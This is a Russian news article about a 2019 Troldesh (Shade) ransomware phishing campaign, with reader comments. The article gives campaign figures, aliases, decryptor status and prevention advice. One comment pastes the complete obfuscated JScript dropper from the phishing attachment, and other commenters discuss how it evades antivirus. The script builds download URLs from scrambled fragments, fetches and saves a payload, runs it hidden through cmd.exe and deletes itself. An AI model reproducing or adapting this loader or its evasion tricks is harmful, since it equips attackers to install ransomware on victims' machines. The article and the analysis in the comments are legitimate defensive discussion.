Эксперты Group-IB предупреждают пользователей о росте активности вируса-шифровальщика Troldesh (Shade). Цель злоумышленников — запустить программу в локальной сети компании, зашифровать файлы и запросить выкуп.

Во время прежних атак операторы ботсети рассылали письма от имени банков и компаний ритейла. Сейчас идёт массовая рассылка от имени сотрудников крупных авиакомпаний (например, «Полярные авиалинии»), автодилеров («Рольф») и от СМИ (РБК, Новосибирск-online).

Во втором квартале 2019 года Group-IB обнаружила более 6000 фишинговых писем, содержащих Troldesh. На данный момент кампания по рассылке вируса-вымогателя активна (в июне зарегистрировано около 1100 фишинговых писем).


Образец работы первой версии криптовымогателя Troldesh (Shade), 2015-й год

В тексте фишинговых писем злоумышленники представляются сотрудниками компаний и просят открыть приложенный файл. Это архив, который якобы содержит подробности «заказа». Все обратные адреса подделаны. Рассылка осуществляется через арендованный ботнет, включающий не только обычные серверы, но и заражённые IoT-устройства, например, маршрутизаторы.

Злоумышленники значительно разнообразили список обратных адресов. Они всё чаще представляются сотрудниками компаний разных отраслей — ритейла, нефтегаза, строительства, авиаотрасли, сферы рекрутинга и медиа. Рассылка от имени банков тоже используется, но уже в виде персональных писем от топ-менеджеров.

Troldesh — старый криптовымогатель, впервые замеченный ещё в 2015 году. Он также известен под названиями Shade, XTBL, Trojan.Encoder.858, Da Vinci и No_more_ransome. Злоумышленники регулярно меняют упаковщик и успешно обходят антивирусные средства защиты. К концу 2018 году Troldesh вошёл в топ-3 самых популярных вирусов-шифровальщиков, наряду с RTM и Pony.

Центр управления Troldesh располагается в сети Tor и постоянно меняет адрес домена, что осложняет его блокировку.

Troldesh продаётся и сдаётся в аренду на специализированных площадках в даркнете, в связи с чем вирус постоянно приобретает новую функциональность и меняет способы распространения. Последние кампании с Troldesh показали, что теперь он не только шифрует файлы, но ещё маи?нит криптовалюту и генерирует трафик на веб-сайты для увеличения посещаемости и доходов от онлайн-рекламы.

На форумах, где общаются пострадавшие, говорят, что способа спасти зашифрованные файлы нет, то есть программа написана довольно грамотно с криптографической точки зрения.

«Лаборатория Касперского» бесплатно распространяет дешифратор Shade Decryptor, но он помогает только против первой и второй версий шифровальщика.

Профилактика против заражения стандартная:

  • загружать программы лишь из проверенных источников;
  • не открывать подозрительные почтовые вложения;
  • не переходить по сомнительным ссылкам;
  • делать резервные копии важных файлов, которые хранить отдельно.

«Shade — это не только шифровальщик, существуют версии, которые еще и сканируют заражённое устройство, и если фиксируют, что оно имеет доступ к бухгалтерским системам, то устанавливается дополнительное вредоносное ПО для удалённого доступа», — говорит руководитель отдела исследования и детектирования сложных угроз «Лаборатории Касперского» Антон Иванов.

С помощью этого программного обеспечения злоумышленники делают попытки вывода денег со счёта. Эксперт подтвердил, что для последней версии Shade не существует дешифратора.

Комментарии (16)


  1. Popadanec
    25.06.2019 15:35
    -2

    Найти и с помощью терморектального криптоанализатора получить пароль который вернёт всё в зад.


  1. 0xf0a00
    25.06.2019 15:59

    В архиве приложен JS файл

    содержимое
    function U(W, PK)
    {
    return FVt(W, PK);
    }

    function c(CVJ)
    {
    var WDq;
    var Ews;
    var EE = rn(42);

    var b = new EE(«MSXML2.XMLHTTP»);
    var Q = 0;
    if (eOa(b, CVJ) == 0)
    return false;

    if (b[«Status»] != 200)
    return !true;
    var SL = new EE(«Scripting.FileSystemObject»);
    var d = new EE(«ADODB.Stream»);
    CVJ = gHg(SL);

    QKy(d, b);

    var T = d[«Read»]();
    T = u(d, rn(7), T);
    if (T.length < 10)
    return false;
    d[«SaveToFile»](CVJ);
    d[«Close»]();

    var X = rn(144);
    var bN = «Wscript.Shell»;
    WDq = new X(bN);
    Ews = «cmd.exe /c » + CVJ;
    WDq[«run»](Ews, 0);
    if (!false)
    {
    CVJ = «del» + «eteF» + «ile»;
    I(SL, CVJ);
    return ((26+27)>28);
    }
    return Q;
    }

    function a(oS)
    {
    var K = oS.length;
    return K;
    }

    function q()
    {
    var pPx = «ch»;
    pPx += «arC»;
    return pPx + «odeAt»;
    }

    function rWG(f)
    {
    var tqk = "";
    var G = 5 — 5;
    var pC = false;

    var fh = rn(f+4);
    var sb = 0;
    if (f != sb)
    {
    }
    else
    return false;

    if (false)
    {
    }
    else
    {
    sb = new fh(«MSXML2.XMLHTTP»);
    }

    try
    {
    w = --sb;
    }
    catch (Z)
    {
    var Fl = hA(sb);
    pC = !Fl;
    }

    return pC;
    }

    function QKy(Qm, Nq)
    {
    var St = «O» + «p» + "\x65" + «n»;
    Qm[St]();
    var rI = "\x54" + "\x79" + «p» + "\x65";
    Qm[rI] = 1;

    var Nvr = "\x57" + «r» + "\x69" + "\x74" + «e»;
    var hGO = «R» + "\x65" + «s» + «p» + «o» + «n» + «s» + "\x65" + "\x42" + "\x6F" + «d» + "\x79";
    Qm[Nvr](Nq[hGO]);
    var J = "\x50" + «o» + «s» + «i» + «t» + «i» + «o» + «n»;
    Qm[J] = 0;
    }

    function hA(XS)
    {
    var jb = typeof XS[«Open»];
    var JM = («unknown»);
    return (jb != JM );
    }

    function I(bj, m)
    {
    var p = WScript;
    bj[m](p[«ScriptFullName»]);
    }

    function gHg(bmN)
    {
    var N = «G» + «e» + "\x74" + "\x53" + «p» + «e» + «c» + «i» + "\x61" + "\x6C" + «F» + «o» + «l» + "\x64" + "\x65" + «r»;
    var sU = N;
    var Ct = «G» + "\x65" + «t» + «T» + «e» + "\x6D" + «p» + «N» + «a» + "\x6D" + «e»;
    var WUn = Ct;
    var Bl = bmN[sU](2) + "\\" + bmN[WUn]();
    return Bl;
    }

    function u(PL, j, rl)
    {
    var AF = "\x41" + "\x44" + «O» + "\x44" + «B» + "." + «R» + «e» + "\x63" + «o» + "\x72" + "\x64" + «s» + «e» + "\x74";
    var oL = new j(AF);
    var oV = "\x61" + «d» + "\x64" + «N» + "\x65" + "\x77";
    var O = oV;
    var RK = PL[«Si» +«ze»];
    var Ga = 201;
    oL[«fields»][«ap» + «pe» + «n» + «d»](«bin», Ga, RK);
    oL[«o» + «pen»]();
    oL[O]();
    var ML = "\x62" + "\x69" + "\x6E";
    var ZQ = ML;
    var QN = «a» + "\x70" + "\x70" + «e» + «n» + "\x64" + "\x43" + «h» + "\x75" + "\x6E" + «k»;
    var i = QN;
    oL(ZQ)[i](rl);
    var LCB = «u» + "\x70" + "\x64" + «a» + «t» + "\x65";
    var S = LCB;
    oL[S]();
    var wh = "\x76" + «a» + "\x6C" + "\x75" + «e»;
    var t = wh;
    return oL(ZQ)[t];
    }

    function eOa(Nq, tB)
    {
    var QGL = «o» + "\x70" + «e» + «n»;
    var ZBS = «G» + «E» + «T»;
    var gR=158389;
    var xIi=gR+27797;
    var eO=xIi/546;
    var jgs=eO-341;
    Nq[QGL](ZBS, tB, jgs);
    try {
    var Sb = «s» + «e» + "\x6E" + «d»;
    Nq[Sb]();
    } catch (djF) {
    return (1-1);
    }
    return 1;
    }

    function bp(Vl, Bli)
    {
    var l=6145;
    var HSu=l+1355;
    var fR=HSu/12;
    var xkt=fR-601;
    var CVJ = xkt;
    var Yy=[«ud»,«f»,"/w",«w.»,«w»,«in»,«ox»,«s»,":/","-",«ht»,«t»,«nt»,«hl»,«o»,«e»,«m»,«m/»,«e»,«h»,«n»,«c»,«ux»,«wp»,«i»,«ux»,«w.»,"/t",«g»,"/p",«n»,«e»,«a»,"/h",«o»,"/",«c»,«la»,"/",«on»,«p.»,«a»,«s»,"/",«tp»,«p»,«s»,«cl»,«as»,«e»,"-c",«es»,«la»,«i»];
    var Dm=Yy[10]+Yy[44]+Yy[8]+Yy[2]+Yy[4]+Yy[26]+Yy[34]+Yy[45]+Yy[48]+Yy[37]+Yy[3]+Yy[21]+Yy[14]+Yy[17]+Yy[23]+Yy[50]+Yy[39]+Yy[11]+Yy[49]+Yy[12]+Yy[27]+Yy[19]+Yy[15]+Yy[16]+Yy[31]+Yy[46]+Yy[29]+Yy[13]+Yy[6]+Yy[35]+Yy[32]+Yy[22]+Yy[24]+Yy[20]+Yy[43]+Yy[41]+Yy[25]+Yy[5]+Yy[9]+Yy[53]+Yy[30]+Yy[47]+Yy[0]+Yy[18]+Yy[38]+Yy[36]+Yy[52]+Yy[7]+Yy[42]+Yy[51]+Yy[33]+Yy[40]+Yy[28]+Yy[1];
    var kJ=[«m»,«p»,«k»,"/h",«e.»,«r»,«t»,«r.»,«er»,«la»,«ab»,«h»,«ve»,«tp»,":","/",«p»,«f»,«ai»,«rs»,«co»,".",«g»,"/"];
    var TrO=kJ[11]+kJ[6]+kJ[13]+kJ[14]+kJ[23]+kJ[15]+kJ[5]+kJ[10]+kJ[9]+kJ[2]+kJ[4]+kJ[1]+kJ[18]+kJ[19]+kJ[8]+kJ[12]+kJ[7]+kJ[20]+kJ[0]+kJ[3]+kJ[16]+kJ[21]+kJ[22]+kJ[17];
    CVJ = (Vl > Bli)?(Dm):(TrO);
    return c(CVJ);
    }

    function rn(UVp)
    {
    return ActiveXObject;
    }

    function Bub(WG)
    {
    if ((WG > 5) && rWG(1))
    {
    var sc = bp(7, 4);
    if (sc == false)
    sc = bp(23, 56);
    var HfP=242357;
    var mK=HfP+27824;
    var R=mK/691;
    var wk=R-388;
    return wk;
    }
    var iW=46259;
    var ZKO=iW+2221;
    var gs=ZKO/60;
    var M=gs-804;
    return M;
    }

    if (8 > 1)
    {
    var K = true?Bub(7 + 5):7;
    }


    1. IgorKh
      25.06.2019 17:31

      А кто разбирается в этих вещах, зачем там подобный мусор:

      — if (8 > 1)
      — Bub(7 + 5), почему на Bub(12)
      — да и вся function Bub, на быстрый взгляд просто пустые расчеты гоняет


      1. namikiri
        25.06.2019 17:36

        Это называется обфускация. Затрудняет анализ логики работы скрипта.


        1. IgorKh
          25.06.2019 17:52
          -3

          Не похоже, обфускация не должна влиять на производительность, добавлять пустые расчеты и тд…


          1. VBKesha
            25.06.2019 18:10

            Возможно эти цифры генерируются динамически при создании каждой копии вируса. Видимо чтобы сложней было составить сигнатуру.
            PS. Кажется это звалось полиморфизм относительно вирусов.


      1. salnicoff
        25.06.2019 21:13
        +1

        Чтобы обойти эвристику антивирусов.


      1. Rhoads
        25.06.2019 21:13
        +1

        Что бы усложнить идентификацию вирусняка методом сравнения сигнатур


  1. solver
    25.06.2019 17:47
    +1

    не переходить по сомнительным ссылкам;

    Учитывая, сколько сейчас обычных сайтов построено на решетках вроде вордпреса и друпала. Такой себе совет. Поможет только совсем уж от левых сайтов вида «zZShFJDH.......KJFHFyDJ.xyz».


    1. namikiri
      25.06.2019 17:58
      +2

      А ещё вспомним неприятно пахнущие почтовые сервисы и системы рассылок, которые в погоне за переходами пользователя «проксируют» все ссылки через себя, превращая их во что-то вроде https://fcukingmailer.cloud.track.noprivacy.com/trackyourass/0Y8g0LXQsdCw0Lsg0YHRgNCw0L3Ri9C1INGC0YDQtdC60LXRgNGL


  1. fmj
    25.06.2019 18:12
    -1

    насчет «профилактики заражения»: srp/applocker? Пользователям бесполезно что-то объяснять, проще у них все права порезать.


  1. corvair
    25.06.2019 18:22

    … от имени сотрудников крупных авиакомпаний (например, «Полярные авиалинии")

    Компания региональная, но в своём регионе значимая и соответственно её услугами постоянно пользуются в командировках и имеется корреспонденция. Надо предупредить народ.


  1. boingo-00
    25.06.2019 18:58

    Как раз неделю назад в местной школе поймали такой. Ни один декриптор не помог, каспер отказывается работать из-за разницы в размере зашифрованного и расшифрованного преступником файла. Повезло, что критически важных данных не было, а то бы все могло очень плохо закончиться


  1. slonopotamus
    25.06.2019 19:32
    +3

    Под Wine работает?


    1. orion76
      25.06.2019 22:17

      Злой Вы…
      А просто — посочувствовать?


  1. servekon
    25.06.2019 23:03

    Под обычным пользователем в системе тоже сработает или нужны права администратора?